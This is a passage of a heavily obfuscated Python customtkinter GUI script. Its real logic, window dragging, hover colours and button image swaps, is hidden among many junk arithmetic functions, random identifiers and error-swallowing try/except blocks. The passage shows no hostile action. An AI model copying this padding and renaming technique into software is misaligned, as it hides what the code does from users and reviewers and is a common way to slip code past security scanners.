                usrxpl = uywosqqorttigavmj + seziainuoexcmchz
                jpfvlmlidbg = uywosqqorttigavmj + seziainuoexcmchz
                oierisvydqqih = vclbjwmq + slnrhnxks + uywosqqorttigavmj + seziainuoexcmchz + svanhcjyqrxjrdwooi
                return oierisvydqqih
            except Exception:
                pass

        zvpnjv = chroobcjsfltvklalr()
        def KHaDqCABwewUYTmHenw(event):
            try:
                itnvpbr = 20.746822
                orbcdgrupggw = 117.956248551
                utyqotx = 481
                fcirqvaqhdznhcypdn = 466
                dmevvg = 856.106
                fkrjrktkk = 208
                dbneug = orbcdgrupggw - itnvpbr
                wbmzirvhtyixot = utyqotx * dmevvg
                bxdajzanielz = utyqotx * dmevvg
                oncsfwzwib = dmevvg * itnvpbr
                mqviiwunis = fkrjrktkk * fcirqvaqhdznhcypdn
                lKYNFkMvihbmXujpeNSJpfS.start_x = event.x
                lKYNFkMvihbmXujpeNSJpfS.start_y = event.y
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def fqlnuscebtvcmzr():
            try:
                xgcrfq = 595
                ysopnoxddpbrgyyw = 410
                vsrnzvvomddd = 532
                cgrjnhm = 731
                xhkqbxu = 491
                temhavehuddqtfgnsg = 254
                yupohtcltvxidm = 834
                hclkotjkriouel = vsrnzvvomddd - cgrjnhm
                ieqekxuhnhzwo = temhavehuddqtfgnsg + yupohtcltvxidm
                lgnkcfxjlrt = yupohtcltvxidm - temhavehuddqtfgnsg
                pymmqnumkrzq = xgcrfq * temhavehuddqtfgnsg
                aeabbantdgson = yupohtcltvxidm - ysopnoxddpbrgyyw
            except Exception:
                pass

        fqlnuscebtvcmzr()


        def lnqymvjpogzvjz(hcavrxytxdorgetgx, ihopfgaebnlhc):
            try:
                sqdmkik = 664
                lndyuumac = 58
                pihjpcajdutj = 556
                mgogeemzvgemky = 136
                gfwwjhfdqbsinwvnso = 719
                fpyorodqnpqznrgit = 266
                zkwuunigstry = 256
                ddjori = pihjpcajdutj - lndyuumac
                cwyxmddtfcwznq = mgogeemzvgemky - lndyuumac
                jdwxwdvcjbqufa = fpyorodqnpqznrgit * sqdmkik
            except Exception:
                pass

        hcavrxytxdorgetgx = None
        ihopfgaebnlhc = None
        lnqymvjpogzvjz(hcavrxytxdorgetgx, ihopfgaebnlhc)


        def theceyqiuuscm():
            try:
                fbbnilr = 134
                mkxltmizmpci = 387
                oyuepchc = 886
                vowcum = 175
                ylodbmirfhwi = 732
                rgzyfrful = 213
                vwsgzecnccpnkoujh = 460
                bufzwme = mkxltmizmpci + fbbnilr
                luxqif = fbbnilr + rgzyfrful
                alvimkbc = ylodbmirfhwi - mkxltmizmpci
                holndr = mkxltmizmpci * fbbnilr
                hmlnuz = vwsgzecnccpnkoujh * ylodbmirfhwi
            except Exception:
                pass

        theceyqiuuscm()


        def tjnooqwn():
            try:
                rjxfyxahrucsch = 649
                tgtztumx = 623
                qdheneipqouu = 402
                bnepdexd = 155
                makaqwqrfqebwi = 897
                gspcfibpgwl = 596
                ehfvvpgiyjricd = 746
                qbhugnakfbjqpr = rjxfyxahrucsch - tgtztumx
                dwswxemxfrhpli = ehfvvpgiyjricd + bnepdexd
                yezrmqvyrfikpz = rjxfyxahrucsch + bnepdexd
                kkfeywh = tgtztumx + qdheneipqouu
                zofbytl = makaqwqrfqebwi + rjxfyxahrucsch
                bkgwetuincgsi = ehfvvpgiyjricd * rjxfyxahrucsch
                cqqschcn = rjxfyxahrucsch + tgtztumx + qdheneipqouu + bnepdexd + makaqwqrfqebwi + gspcfibpgwl + ehfvvpgiyjricd
                return cqqschcn
            except Exception:
                pass

        tqsaoahqcwnyqw = tjnooqwn()


        def ptglaj(dnugiafjkzhojmepe, azsygvottlzzk, nwtbecru, txazudanwngivkjer):
            try:
                hvxxsxi = 630
                pyhheqiuethtfimg = 911
                qoxaddbbolroa = 743
                yqaisdrfwpxifti = 959
                rywrzap = 565
                vugitqdwbftnag = 998
                qrimvoararne = 180
                kesaygmfk = qoxaddbbolroa * qrimvoararne
                mdsseffejjz = vugitqdwbftnag * pyhheqiuethtfimg
                rgrycqy = qoxaddbbolroa - qrimvoararne
                raghtaxdt = qrimvoararne * hvxxsxi
                tystqjcpct = pyhheqiuethtfimg - rywrzap
            except Exception:
                pass

        dnugiafjkzhojmepe = None
        azsygvottlzzk = None
        nwtbecru = None
        txazudanwngivkjer = None
        ptglaj(dnugiafjkzhojmepe, azsygvottlzzk, nwtbecru, txazudanwngivkjer)
        def RqYFPvtFVXzDoIBld(event):
            try:
                nandkne = 798
                iwdszggsusb = 914.816
                hlvenvmckd = 460.78
                vkvgzvasnqfd = 405
                felhvvxhhqrwwyqayz = 763
                ihamudmlwlcfy = 231.8805988
                qvbhudeyn = iwdszggsusb * felhvvxhhqrwwyqayz
                mfkiwojzb = hlvenvmckd + iwdszggsusb
                nbodywd = iwdszggsusb + nandkne
                fsjmhquwkmgijt = iwdszggsusb - felhvvxhhqrwwyqayz
                lqppqrjuniz = vkvgzvasnqfd - felhvvxhhqrwwyqayz
                vkbgmqvkbh = vkvgzvasnqfd + ihamudmlwlcfy
                bfiswdpoc = felhvvxhhqrwwyqayz * vkvgzvasnqfd
                lmwbafibbyydd = nandkne + iwdszggsusb + hlvenvmckd + vkvgzvasnqfd + felhvvxhhqrwwyqayz + ihamudmlwlcfy
                lKYNFkMvihbmXujpeNSJpfS.start_x = None
                lKYNFkMvihbmXujpeNSJpfS.start_y = None
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def exdxsxt(jdkxiqbaravtpwg):
            try:
                cbwdeegrrmcdkcprw = 112
                yztdwqavrdjvzu = 938
                zesdorjuaptjf = 809
                kecgcwvrhsyfpns = 441
                gsotmtpuimmpmvs = 583
                erbyoxebmcgmqzc = 820
                qtiuqjq = 804
                emmmwrfi = 467
                cduuigtwvdsqk = 771
                cgeroz = gsotmtpuimmpmvs + zesdorjuaptjf
                eawbozqxc = gsotmtpuimmpmvs - erbyoxebmcgmqzc
                xljaowau = erbyoxebmcgmqzc + kecgcwvrhsyfpns
                uhkinkgtrrtc = kecgcwvrhsyfpns * emmmwrfi
                keyiirf = erbyoxebmcgmqzc - emmmwrfi
                czprzszjqirv = erbyoxebmcgmqzc + gsotmtpuimmpmvs
            except Exception:
                pass

        jdkxiqbaravtpwg = None
        exdxsxt(jdkxiqbaravtpwg)


        def akisnwodcoprueh(mkwwmlkvenmarpjd, lehxtcukeq, devduhewpxsqrwdoei):
            try:
                tfvvtckovwtddt = 219
                ujwazmgbyrcj = 561
                zqvjhaniqvikzpusih = 344
                rrlmyjhlvuq = 956
                muyjilgklcufxlhi = 487
                asyygqancvbf = 376
                mdsbvhkrwadogyj = 919
                sfbojxu = 342
                mwfqgfwbtvqi = 649
                woddnpghvifrgt = rrlmyjhlvuq * muyjilgklcufxlhi
                hfafju = rrlmyjhlvuq + asyygqancvbf
                psytcygbh = sfbojxu + rrlmyjhlvuq
                gqnbqbpgt = tfvvtckovwtddt - mdsbvhkrwadogyj
                gspefhltsw = sfbojxu - rrlmyjhlvuq
            except Exception:
                pass

        mkwwmlkvenmarpjd = None
        lehxtcukeq = None
        devduhewpxsqrwdoei = None
        akisnwodcoprueh(mkwwmlkvenmarpjd, lehxtcukeq, devduhewpxsqrwdoei)
        def enXaMrvIpThHzBWWwBrmderv(event):
            try:
                mlnrwdldeelhancvix = 927
                oyyjcyxflhqdnlzy = 15
                yhzxohid = 770
                duhmftqkbzzqeke = 6.32679
                jkqvsjjjqtvdonn = 564
                pvkyhdunjnv = mlnrwdldeelhancvix + oyyjcyxflhqdnlzy
                hqrjhkdz = jkqvsjjjqtvdonn + yhzxohid
                lfucdkk = oyyjcyxflhqdnlzy * duhmftqkbzzqeke
                qmchdzscstl = jkqvsjjjqtvdonn * yhzxohid
                deltax = event.x - lKYNFkMvihbmXujpeNSJpfS.start_x
                deltay = event.y - lKYNFkMvihbmXujpeNSJpfS.start_y
                x = lKYNFkMvihbmXujpeNSJpfS.winfo_x() + deltax
                icvcimtdukt = 774
                aaxspzagniwrlb = 679
                udvtcjhfe = 49.000
                dfzusjms = 300
                moakbqfznywkmxlaq = 641
                lwxcgkcb = udvtcjhfe + icvcimtdukt
                nbsxjhmym = aaxspzagniwrlb - moakbqfznywkmxlaq
                bnjefjnkxhhsy = aaxspzagniwrlb * icvcimtdukt
                pjzgsdnssafxpc = moakbqfznywkmxlaq - aaxspzagniwrlb
                vnylmurlhxalzj = moakbqfznywkmxlaq + udvtcjhfe
                nomevux = aaxspzagniwrlb + udvtcjhfe
                pqekrxki = moakbqfznywkmxlaq - dfzusjms
                vbuaouphvcav = dfzusjms * udvtcjhfe
                yjzddkya = icvcimtdukt - dfzusjms
                sbyoenepoagg = udvtcjhfe * moakbqfznywkmxlaq
                demqlrbmb = moakbqfznywkmxlaq * udvtcjhfe
                puqevd = icvcimtdukt + aaxspzagniwrlb + udvtcjhfe + dfzusjms + moakbqfznywkmxlaq
                y = lKYNFkMvihbmXujpeNSJpfS.winfo_y() + deltay
                lKYNFkMvihbmXujpeNSJpfS.geometry(f"+{x}+{y}")
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def hlxlfyjvmgaqm():
            try:
                riefgcybzojcnzmowl = 82
                gdfzighegkfi = 117
                xhfcnx = 288
                telqsdbxxcpm = 159
                bfddqurajjkjobg = 144
                czxiufkkrepxo = 945
                uxfhhkdmtm = 652
                rxneicvi = 734
                qlbwqhiqdlpcwm = 8
                xdtccrbfl = 522
                gfmfap = xhfcnx + riefgcybzojcnzmowl
                dojyoyf = telqsdbxxcpm - bfddqurajjkjobg
                ictimo = riefgcybzojcnzmowl + gdfzighegkfi + xhfcnx + telqsdbxxcpm + bfddqurajjkjobg + czxiufkkrepxo + uxfhhkdmtm + rxneicvi + qlbwqhiqdlpcwm + xdtccrbfl
                return ictimo
            except Exception:
                pass

        gopeudkxmb = hlxlfyjvmgaqm()


        def vglqpailod():
            try:
                lffajcwxqgfba = 316
                tamcjqtfvbzgrm = 734
                kohgxg = 327
                ojavegpzygdsbudqjt = 758
                jrinlrjk = 432
                dbrjdmhhwwfi = 156
                dffvqyshfpxl = 65
                kdttgkmtljzywi = 682
                zdcprhqiynka = 455
                pzuazfajjojj = 553
                ckdbmm = ojavegpzygdsbudqjt * kohgxg
                gehdxnsaec = kohgxg - tamcjqtfvbzgrm
            except Exception:
                pass

        vglqpailod()


        def aguslcfprrnb():
            try:
                pjxtguaslawjnt = 752
                lhycdy = 472
                qhiyxkvppxsprsc = 320
                psirercrkmy = 951
                ucemccxujq = 646
                duitzwbfuh = 991
                gxaghlovkxwv = 680
                ehwwuo = 64
                uzwgptw = 130
                jvfvotkvvlizkrf = 724
                jxlchtph = lhycdy + uzwgptw
                ckurcvzummrpn = qhiyxkvppxsprsc * lhycdy
            except Exception:
                pass

        aguslcfprrnb()


        def qkgywzhhi():
            try:
                bxjckdkzgr = 24
                izpihchf = 398
                nnziirf = 830
                dybdimbobmjlvgugay = 401
                nxtjee = 51
                fahwyiowyftiqtvnj = 755
                xzaeisgcxnspnm = 631
                dqfjpvs = 813
                glwcbjmhuboh = 736
                dfdaxfcchyehgk = 241
                rtohphoug = glwcbjmhuboh + dfdaxfcchyehgk
                agqbkujy = bxjckdkzgr * nnziirf
            except Exception:
                pass

        qkgywzhhi()


        def dvbuwnrlx(zkidysnawv, pfgsvqwjy, ldlecrcudjxw, wepnlvkbpq):
            try:
                uznzwombxviosemz = 972
                savjvwudq = 724
                ueptjcidfa = 817
                kditemeggay = 583
                wnskdeksldhzoywxxx = 122
                cxadruac = 8
                hjnrdys = 420
                tzieepbwsebb = 83
                promkoiazyqsgwl = 340
                mlrozjujogdypttsx = 837
                bgudfmegeilrk = uznzwombxviosemz - kditemeggay
                ymmjkhqxv = wnskdeksldhzoywxxx * savjvwudq
                hklhosibqcpk = uznzwombxviosemz + savjvwudq + ueptjcidfa + kditemeggay + wnskdeksldhzoywxxx + cxadruac + hjnrdys + tzieepbwsebb + promkoiazyqsgwl + mlrozjujogdypttsx
                return hklhosibqcpk
            except Exception:
                pass

        zkidysnawv = None
        pfgsvqwjy = None
        ldlecrcudjxw = None
        wepnlvkbpq = None
        tnwppewgqj = dvbuwnrlx(zkidysnawv, pfgsvqwjy, ldlecrcudjxw, wepnlvkbpq)
        def qtInxvKvqHYHNNicIRbwlT(event):
            try:
                LsbwHXycXAjqWTj.configure(bg_color="#222222", padx=0, pady=0)
                iqpvcgqmwf = 884
                tzovtkkal = 455
                fpfihtclfaghchgp = 642
                sruhstquiuzqhoer = 19
                osbuukrphuciw = 809
                jlofej = 560
                zqybzgrudzsjzs = 872
                bhxjfn = 823
                giuxnf = 464
                rxjlmewokw = fpfihtclfaghchgp * zqybzgrudzsjzs
                eoppsqkngjiu = sruhstquiuzqhoer * iqpvcgqmwf
                xudmwgej = sruhstquiuzqhoer + fpfihtclfaghchgp
                vrdrrs = zqybzgrudzsjzs - giuxnf
            except Exception:
                pass


        def uztsianxidr(sxitdhvpokoprejy, dnhnuglaxpkf, chdqegymqf, xnbiagsqw, zhnslslacincydfjr):
            try:
                rjpxex = 285
                mepxnhjjrhlvpup = 50
                pizuxzpaoubwpbkkfv = 287
                irjrbnxukiqnnhuw = 935
                irquwzizbghinlcmgg = 136
                rmmwretjcvsqiiv = 914
                bjaabvrsvmicuam = 756
                mlgziq = 874
                godbcmxzbekro = 591
                plfeucs = 573
                rpdxzbnuhm = 929
                tnlcznflfkagioajtq = 791
                jqugaif = tnlcznflfkagioajtq + godbcmxzbekro
                polixtt = irquwzizbghinlcmgg * mlgziq
                yxwrwqrn = irquwzizbghinlcmgg - rmmwretjcvsqiiv
            except Exception:
                pass

        sxitdhvpokoprejy = None
        dnhnuglaxpkf = None
        chdqegymqf = None
        xnbiagsqw = None
        zhnslslacincydfjr = None
        uztsianxidr(sxitdhvpokoprejy, dnhnuglaxpkf, chdqegymqf, xnbiagsqw, zhnslslacincydfjr)
        def wvoCtHoLVSEKO(event):
            try:
                LsbwHXycXAjqWTj.configure(bg_color="#282828", padx=0, pady=0)
                pxnhew = 495
                zqdjfcmf = 631
                zklyhrnzind = 523
                xjtkurna = pxnhew + zqdjfcmf
                nevpxh = zklyhrnzind * zqdjfcmf
                qlkvwwsmru = pxnhew - zqdjfcmf
            except Exception:
                pass

        def veWzCedbJwiDww(event):
            try:
                mpgdmdofk = 152
                ypyynyvdetudaqk = 376
                gohqwmp = 498
                jzvaikw = 733
                nyymtt = 492
                zpobgfmgymr = 641
                znnstkbavoc = 97
                juftsaqmqwql = znnstkbavoc * nyymtt
                nxeegdfwpjehsx = nyymtt + ypyynyvdetudaqk
                bzgmczjnogxa = gohqwmp * jzvaikw
                epZUDtFZaODlzqbOI.configure(bg_color="red", padx=0, pady=0)
            except Exception:
                pass


        def sqddaezhuouyjjr(veuhrgyjlxustwexk, wbyqgpvjisuqfsoamo, cjsxjna, ctyvyiextpov):
            try:
                nzlioclhugogzmk = 194
                hygiakdrxo = 684
                uxnxtns = 866
                poshgvpo = 422
                xfswia = 686
                mroktrxqhmovju = 759
                cslheaolygvfmixdn = 23
                hmafpmdvjptghr = nzlioclhugogzmk - uxnxtns
                gksbbswdxrmz = cslheaolygvfmixdn + mroktrxqhmovju
                jtnxmcnbqft = hygiakdrxo + poshgvpo
                aepgmskwrzfj = nzlioclhugogzmk * poshgvpo
                gaiybdjpg = poshgvpo + cslheaolygvfmixdn
                pxnynaw = xfswia - uxnxtns
                vqmixiar = nzlioclhugogzmk + hygiakdrxo + uxnxtns + poshgvpo + xfswia + mroktrxqhmovju + cslheaolygvfmixdn
                return vqmixiar
            except Exception:
                pass

        veuhrgyjlxustwexk = None
        wbyqgpvjisuqfsoamo = None
        cjsxjna = None
        ctyvyiextpov = None
        gotmjcfmktpyst = sqddaezhuouyjjr(veuhrgyjlxustwexk, wbyqgpvjisuqfsoamo, cjsxjna, ctyvyiextpov)


        def vskdrez():
            try:
                vwzmszyxdzghwv = 734
                dftexlzaollrvfd = 762
                uzetcujwa = 242
                kwfztjhpjlnaauypqg = 690
                ffmdpyxsfkhwhu = 350
                ltsfhtoxycp = 983
                ebbbvgpnjygvhahmaj = 331
                mbsbsjy = uzetcujwa * kwfztjhpjlnaauypqg
                yngqwmloattwym = vwzmszyxdzghwv - ffmdpyxsfkhwhu
                kvprshvdbbaqss = kwfztjhpjlnaauypqg + ffmdpyxsfkhwhu
                hcmsppj = dftexlzaollrvfd + kwfztjhpjlnaauypqg
                hvvyvokjh = uzetcujwa * ebbbvgpnjygvhahmaj
            except Exception:
                pass

        vskdrez()
        def YKSdNPXsTKeIdQXKVHPG(event):
            try:
                epZUDtFZaODlzqbOI.configure(bg_color="#282828", padx=0, pady=0)
                oezgmvbhcvnncflmr = 930.18741
                siojjhdgymafmgltn = 849.7512
                xuuvxkzvlm = 812.999
                oqlougyfkwmpzdpuzl = 237
                cokcwsxnnjbi = 579
                xrmelczldzu = 899
                pdeelaoofrm = xrmelczldzu - oqlougyfkwmpzdpuzl
                mrhzhcms = xuuvxkzvlm - oezgmvbhcvnncflmr
                sbsdeceptw = oqlougyfkwmpzdpuzl - siojjhdgymafmgltn
                vtunckrx = oqlougyfkwmpzdpuzl + xrmelczldzu
                wxwewppnldv = xrmelczldzu - siojjhdgymafmgltn
                hytjtsbkprnzo = xrmelczldzu * xuuvxkzvlm
                zqaaddyqiqv = siojjhdgymafmgltn + oezgmvbhcvnncflmr
                tfnkhndlmji = xrmelczldzu - cokcwsxnnjbi
                crmnrsooahqx = siojjhdgymafmgltn - cokcwsxnnjbi
                trgcsokfh = xrmelczldzu + siojjhdgymafmgltn
                sqixpitqfetg = xuuvxkzvlm * siojjhdgymafmgltn
                jftjhfixo = oqlougyfkwmpzdpuzl + xuuvxkzvlm
            except Exception:
                pass

        def mihQovEEeHPmcIV(event):
            try:
                pvrcrwnx = 489
                absxfvx = 483
                xqxtihqsxdjqgziy = 867
                jfarsggbmqmujgzd = 461
                ftibclgbbsldmo = 822
                cpgpvbkkrjrqkfie = 642
                aqczgukbc = 649.0032
                obditxoz = 825
                gpbgluozaintat = 903.867557
                xpowcm = 899.1011
                uxvyqbqvg = ftibclgbbsldmo + aqczgukbc
                ckixthmnfzy = obditxoz + gpbgluozaintat
                gfhcaabifpaiq = obditxoz + ftibclgbbsldmo
                fnaqrhzkhzrz = ftibclgbbsldmo * jfarsggbmqmujgzd
                bxxnrwzu = absxfvx + xqxtihqsxdjqgziy
                hwzpah = jfarsggbmqmujgzd - ftibclgbbsldmo
                qupixywa = obditxoz - jfarsggbmqmujgzd
                ydqymtvqzdljyk = jfarsggbmqmujgzd * aqczgukbc
                woylndlqwoc = pvrcrwnx + absxfvx + xqxtihqsxdjqgziy + jfarsggbmqmujgzd + ftibclgbbsldmo + cpgpvbkkrjrqkfie + aqczgukbc + obditxoz + gpbgluozaintat + xpowcm
                VHhWRQkiAJfYQeMnRPVEkS.configure(cursor="hand2")
            except Exception:
                pass


        def hsoqmruevty():
            try:
                gejjype = 905
                ncifzohabdgng = 646
                ydwesaavosplsrkcp = 643
                bbfmdutrphy = 198
                fvzoxccma = 133
                izgkfpp = 135
                qmuyurguufz = 300
                ftvbgyheaizebl = 568
                ihhueinb = 523
                xiurpftgwm = 882
                ouwpdtyhvqzb = 55
                gtkapsimjlg = 698
                sgtyvkjbvqogv = bbfmdutrphy + xiurpftgwm
                abcanlbmwogk = fvzoxccma - ouwpdtyhvqzb
                uggwwvhftwws = gtkapsimjlg + ouwpdtyhvqzb
                cscihgj = xiurpftgwm - ouwpdtyhvqzb
                mhjffywlq = ftvbgyheaizebl - ncifzohabdgng
            except Exception:
                pass

        hsoqmruevty()


        def npecck():
            try:
                wlzsnfqxrilrfceg = 705
                qyaqnrkksrs = 164
                pswskcazvfisq = 470
                vwpqqyrjtwansze = 856
                lnxlxjb = 332
                bzkqwmrfkldof = 694
                zqzwiagxnmbao = 486
                axefyih = 528
                rvryobwzhukp = 794
                ltdwwcgdarwjyp = 477
                gpqmrdcm = 203
                xvwnoabptmpaw = 143
                nxjmiojfdaywim = axefyih + qyaqnrkksrs
                efznscvjxdkvtg = qyaqnrkksrs + bzkqwmrfkldof
                huefwapfkj = lnxlxjb * vwpqqyrjtwansze
                xgusxnsn = wlzsnfqxrilrfceg + qyaqnrkksrs + pswskcazvfisq + vwpqqyrjtwansze + lnxlxjb + bzkqwmrfkldof + zqzwiagxnmbao + axefyih + rvryobwzhukp + ltdwwcgdarwjyp + gpqmrdcm + xvwnoabptmpaw
                return xgusxnsn
            except Exception:
                pass

        zdcqwpuzygic = npecck()


        def bdzsvfmtstczgbzgw(coqrpfoplbqh):
            try:
                yviawaqeuunso = 523
                zshade = 16
                ohvywwp = 324
                lbmtvatssmlytzlk = 111
                qcsgxns = 245
                ucjesfnp = 887
                kuunvakvcuywnpu = 403
                iurslxqokbtvqag = 585
                rcsjozyqwpjibleuo = 282
                gfsqmiixywmlpjuw = 539
                uquxbwqos = 331
                ydzbymovfuqc = 163
                avwnmf = uquxbwqos - ohvywwp
                btdfjndduer = yviawaqeuunso * gfsqmiixywmlpjuw
                gpavgdnvp = yviawaqeuunso + gfsqmiixywmlpjuw
                muigbwnxyasia = qcsgxns - ydzbymovfuqc
                ddsmrufoxsdo = qcsgxns - iurslxqokbtvqag
                bkzzepzxhjhm = qcsgxns * ohvywwp
            except Exception:
                pass

        coqrpfoplbqh = None
        bdzsvfmtstczgbzgw(coqrpfoplbqh)
        def tiNgNlqhJqhCayGsZrbj(event):
            try:
                jwbrmljxxo = 108.2210
                drkktdj = 239
                vmcxdmgd = 425
                fijbxdavkwxwlicjcf = 788.84134515
                wmdrgauhzqdrlqa = 816
                ezzlbotjyta = 702
                wtimkd = 912
                nkthbrqvx = 400.87002
                zlpkluov = jwbrmljxxo + nkthbrqvx
                jegynkibamyzb = wtimkd - nkthbrqvx
                pmpzpc = wmdrgauhzqdrlqa * ezzlbotjyta
                nsszricivwr = drkktdj + wtimkd
                lohjmhtoy = nkthbrqvx * drkktdj
                VHhWRQkiAJfYQeMnRPVEkS.configure(cursor="")
            except Exception:
                pass


        def glbjnxvtmnbvmz():
            try:
                lydzyls = 405
                kolyxnbg = 907
                cqbymxei = 343
                xqkkogimetrgeyoh = 81
                lvvkvpiyv = 275
                vuosytbskjorte = 444
                lmrxcx = 284
                corpuqp = 681
                zvbqpgrjtf = xqkkogimetrgeyoh - kolyxnbg
                aiuaqkxs = vuosytbskjorte * cqbymxei
                zhgbrm = lydzyls + cqbymxei
                gpdfokzclw = xqkkogimetrgeyoh - kolyxnbg
            except Exception:
                pass

        glbjnxvtmnbvmz()
        def xEHKjIcxDvvHMpDnELFb():
            global TIfllzJlHzuTgm
            try:
                ioqwhsb = 618
                oknpftc = 216
                tefpdal = 244
                sevdvdvearqgfk = ioqwhsb * oknpftc
                yemydtlyhtapeo = oknpftc * tefpdal
                mmsyzlgws = oknpftc - ioqwhsb
                qtqnkgy = tefpdal - ioqwhsb
                mopmdmypinws = ioqwhsb - oknpftc
                TIfllzJlHzuTgm = True
                hXEMhPgarrISQwbGQxYVybERkA = os.path.join(sdAEeAstkHQsOFO, "qZdPra", "7.png")
                krSiwiKimAzkVZUfXRn = customtkinter.CTkImage(Image.open(hXEMhPgarrISQwbGQxYVybERkA),size=(85, 24))
                gslsuorlvl = 392
                zsfltkgi = 350
                yufhte = 275
                juzsmjtehinl = yufhte - gslsuorlvl
                xsczpvuxxrotdg = yufhte - gslsuorlvl
                gvaxnnffejeu = gslsuorlvl - zsfltkgi
                xefzolvit = zsfltkgi + yufhte
                zihuizn = zsfltkgi + yufhte
                auwuixtsz = gslsuorlvl + zsfltkgi
                baseaoq = gslsuorlvl * yufhte
                VHhWRQkiAJfYQeMnRPVEkS.configure(image=krSiwiKimAzkVZUfXRn)
                VHhWRQkiAJfYQeMnRPVEkS.bind("<Enter>", mihQovEEeHPmcIV)
                ghpgoufrxhfdlxpmju = 440
                uquxupnbkpn = 26.5
                iscvbdbpa = 644.6593907252
                plzwjvvbjdhwsvct = 485
                xksducxcqpavjblfe = 331
                pecsdwjx = plzwjvvbjdhwsvct * xksducxcqpavjblfe
                puxiktpio = plzwjvvbjdhwsvct + ghpgoufrxhfdlxpmju
                easmig = plzwjvvbjdhwsvct + ghpgoufrxhfdlxpmju
                VHhWRQkiAJfYQeMnRPVEkS.bind("<ButtonRelease-1>", hTHYlGNTACQAnRhsjkWutVafse)
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass

        def dwvFcsviRdIVUHwq():
            global TIfllzJlHzuTgm
            try:
                gokoktlcgtuq = 835
                fxgguapq = 232
                fjmhowwzqnhmshy = 81
                kzwwob = 971.601674572
                toatmcokbcyfjmdmcs = 54
                imzevzc = 386
                rconhcajvk = 14
                alsnqgzoyzcfuz = 975.19
                yixvadnomp = 273.4722623
                voxfuzxkmqims = fxgguapq - kzwwob
                fjsoxywul = yixvadnomp * fxgguapq
                psorumpphkjp = rconhcajvk + toatmcokbcyfjmdmcs
                acgbsaddvrdiix = gokoktlcgtuq + fxgguapq + fjmhowwzqnhmshy + kzwwob + toatmcokbcyfjmdmcs + imzevzc + rconhcajvk + alsnqgzoyzcfuz + yixvadnomp
                TIfllzJlHzuTgm = False
                hXEMhPgarrISQwbGQxYVybERkA = os.path.join(sdAEeAstkHQsOFO, "qZdPra", "9.png")
                vvdxuxhnhuwvocua = 30
                mfclmxhgbumvwk = 867
                isuazwhpxthhbeyrf = 29
                iwhufthrwuzlkflglw = 37
                jyyqnkwrrzzckluxgi = 413
                ewofjvjub = 276
                pkgyawuuxsmuqvrg = 807
                vfxcpnoxyt = 136
                rdbqrtuhkvb = vfxcpnoxyt * vvdxuxhnhuwvocua
                ienkynfbhwm = pkgyawuuxsmuqvrg - vvdxuxhnhuwvocua
                rswxcldastru = pkgyawuuxsmuqvrg + iwhufthrwuzlkflglw
                rehtdtkxjuuzdw = isuazwhpxthhbeyrf * vvdxuxhnhuwvocua
                ofkmgqyzzdxfx = isuazwhpxthhbeyrf * mfclmxhgbumvwk
                fwxgwoucwvh = vvdxuxhnhuwvocua - iwhufthrwuzlkflglw
                qnsgnqljsmwgh = mfclmxhgbumvwk * vfxcpnoxyt
                pmvtwxnmpcmyqv = vfxcpnoxyt - isuazwhpxthhbeyrf
                nyjqtsipwxihcf = vvdxuxhnhuwvocua + mfclmxhgbumvwk + isuazwhpxthhbeyrf + iwhufthrwuzlkflglw + jyyqnkwrrzzckluxgi + ewofjvjub + pkgyawuuxsmuqvrg + vfxcpnoxyt
                krSiwiKimAzkVZUfXRn = customtkinter.CTkImage(Image.open(hXEMhPgarrISQwbGQxYVybERkA),size=(95, 27))
                VHhWRQkiAJfYQeMnRPVEkS.configure(image=krSiwiKimAzkVZUfXRn)
                tuffbyzhyqnclincp = 158
                jeirfbwhmgrotqf = 45.08
                jrjgkjemjnt = 940
                fnslqjgzleyy = 456
                uzfhrxogzbci = jrjgkjemjnt * tuffbyzhyqnclincp
                drvnhm = jrjgkjemjnt - jeirfbwhmgrotqf
                jnyvtyaxc = jrjgkjemjnt - tuffbyzhyqnclincp
                lcobvct = jeirfbwhmgrotqf - fnslqjgzleyy
                VHhWRQkiAJfYQeMnRPVEkS.bind("<Enter>", tiNgNlqhJqhCayGsZrbj)
                VHhWRQkiAJfYQeMnRPVEkS.unbind("<ButtonRelease-1>")
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def iqhfmiiceffgi():
            try:
                hkqffguzzxb = 214
                lauyqzabztnnzk = 440
                bswwirgsuweahwggtg = 522
                genehgxlngpawofcfe = 11
                hvavvuogixvwpphw = 677
                lgqwpafxev = 855
                xyoozgqvbxj = 785
                ppszmfcxycqojmx = 158
                xbafvyimwbxegcbh = 737
                bqluivybfzij = 731
                wbvpswqsib = 666
                hemyxdna = 309
                xgddkwvdhjsugwbu = 891
                jcpnjuekv = 914
                qocuckgmszaslnqjq = 284
                xxviovwm = genehgxlngpawofcfe * lgqwpafxev
                xdvaqvggyyg = xbafvyimwbxegcbh * wbvpswqsib
                xidinszgxmff = hvavvuogixvwpphw * jcpnjuekv
                kveevvmhd = jcpnjuekv - xbafvyimwbxegcbh
                msqerbglofa = hkqffguzzxb + lauyqzabztnnzk + bswwirgsuweahwggtg + genehgxlngpawofcfe + hvavvuogixvwpphw + lgqwpafxev + xyoozgqvbxj + ppszmfcxycqojmx + xbafvyimwbxegcbh + bqluivybfzij + wbvpswqsib + hemyxdna + xgddkwvdhjsugwbu + jcpnjuekv + qocuckgmszaslnqjq
                return msqerbglofa
            except Exception:
                pass

        bntglcprgcqtr = iqhfmiiceffgi()


        def fhdlzefhefh():
            try:
                osvyzug = 812
                krjrzn = 49
                wvjfgewufplmfos = 162
                ghzqgsleegnaehv = 16
                bfgqffexhfjdbibejl = 891
                fpnpokxcbgesy = 167
                tksjtvysprxnwsrjdd = 41
                kgjoxthmgf = 763
                ucpbbidsxmfp = 178
                tmurdqlyxwae = 48
                estoicfqnxrqqdjyq = 600
                dlnbmhofiej = 457
                nzjhuqtccnh = 800
                clyymofyb = 21
                kqhjgdpkacqcschl = 300
                cxlqfura = dlnbmhofiej * clyymofyb
                zyhhdllmlg = dlnbmhofiej - clyymofyb
                jziratb = osvyzug + krjrzn + wvjfgewufplmfos + ghzqgsleegnaehv + bfgqffexhfjdbibejl + fpnpokxcbgesy + tksjtvysprxnwsrjdd + kgjoxthmgf + ucpbbidsxmfp + tmurdqlyxwae + estoicfqnxrqqdjyq + dlnbmhofiej + nzjhuqtccnh + clyymofyb + kqhjgdpkacqcschl
                return jziratb
            except Exception:
                pass

